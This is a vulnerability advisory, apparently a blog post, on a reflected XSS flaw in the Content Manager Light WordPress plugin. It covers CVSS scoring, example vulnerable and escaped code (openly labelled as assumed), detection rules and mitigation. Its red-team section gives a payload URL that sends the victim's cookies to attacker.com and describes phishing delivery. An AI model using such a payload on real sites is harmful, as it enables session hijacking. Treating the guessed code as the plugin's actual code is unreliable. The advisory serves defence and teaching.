CVE-2025-24771

Executive Summary

CVE-2025-24771 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Content Manager Light by OTWthemes, affecting versions up to and including 3.2. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. The CVSS score is 7.1 (High), and while the EPSS score is currently 0.0%, the lack of a patch and the plugin's active install base make this a significant supply chain risk for WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, it introduces risk into the supply chain of any site using the plugin. No official patch has been released, and the vendor's status is unknown, meaning site administrators must rely on manual mitigation or removal of the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): Required (R) - Victim must click a crafted link.
• Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited ability to modify content.
• Availability (A): Low (L) - Limited impact on availability.

Threat Level: High (7.1) - Exploitation is straightforward, and the lack of a patch increases risk.

Deep Dive & Mechanics

The vulnerability exists in the content-manager-light plugin, which fails to sanitize or escape user-supplied input before reflecting it in HTTP responses. A typical reflected XSS attack involves crafting a URL with malicious JavaScript in a parameter (e.g., ?search=<script>alert(1)</script>). When the victim visits this URL, the server includes the unsanitized input in the HTML response, causing the browser to execute the script.

The plugin likely processes query parameters or POST data without proper validation, allowing injection of HTML/JavaScript. The attack surface is any page that reflects user input, such as search results, error messages, or form submissions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is assumed to be something like:

// Vulnerable code (example)
echo $_GET['search'];

A patched version would use WordPress's built-in escaping functions:

// Patched code (example)
echo esc_html($_GET['search']);

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

1. Setup: Deploy a WordPress instance with Content Manager Light <= 3.2.
2. Craft Payload: Create a URL with a malicious script parameter:

   http://target/wp-content/plugins/content-manager-light/some-page.php?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver: Send the link to a victim via phishing email or social engineering.
4. Execute: When the victim clicks the link, the script executes, exfiltrating cookies to the attacker's server.

Blue Team (Defensive)

1. Monitor: Watch for unusual query parameters containing <script>, onerror, or javascript:.
2. Block: Use a Web Application Firewall (WAF) to block requests with XSS patterns.
3. Isolate: If possible, disable or remove the plugin until a patch is available.
4. Educate: Train users not to click suspicious links.

Indicators of Compromise (IOCs)

• Network: HTTP requests with query parameters containing <script>, onload, onerror, or javascript:.
• Logs: Web server logs showing unusual referrers or user agents.
• File: Modified plugin files (though unlikely for reflected XSS).
• Behavior: Unexpected outbound connections to unknown domains from the web server.

Detection Engineering

YARA Rule

rule CVE_2025_24771_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Content Manager Light plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24771"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $plugin_path = "wp-content/plugins/content-manager-light"
    condition:
        any of ($xss*) and $plugin_path
}

Sigma Rule

title: Reflected XSS Attempt Against Content Manager Light
id: 8f3b2c1a-5d7e-4f9b-8a2c-1e6d3f5b7a9c
status: experimental
description: Detects reflected XSS attempts targeting the Content Manager Light WordPress plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24771
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-stem|contains: 'wp-content/plugins/content-manager-light'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in query parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24771 Reflected XSS Attempt"; flow:to_server,established; content:"wp-content/plugins/content-manager-light"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the Content Manager Light plugin from all WordPress installations.
2. Alternative: If the plugin is critical, implement a WAF rule to block XSS patterns in query parameters.
3. Long-term: Monitor the vendor's website for a patch. If none is released, consider migrating to an alternative plugin.
4. Validation: Ensure all user input is sanitized using WordPress functions like esc_html(), esc_attr(), or wp_kses().

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert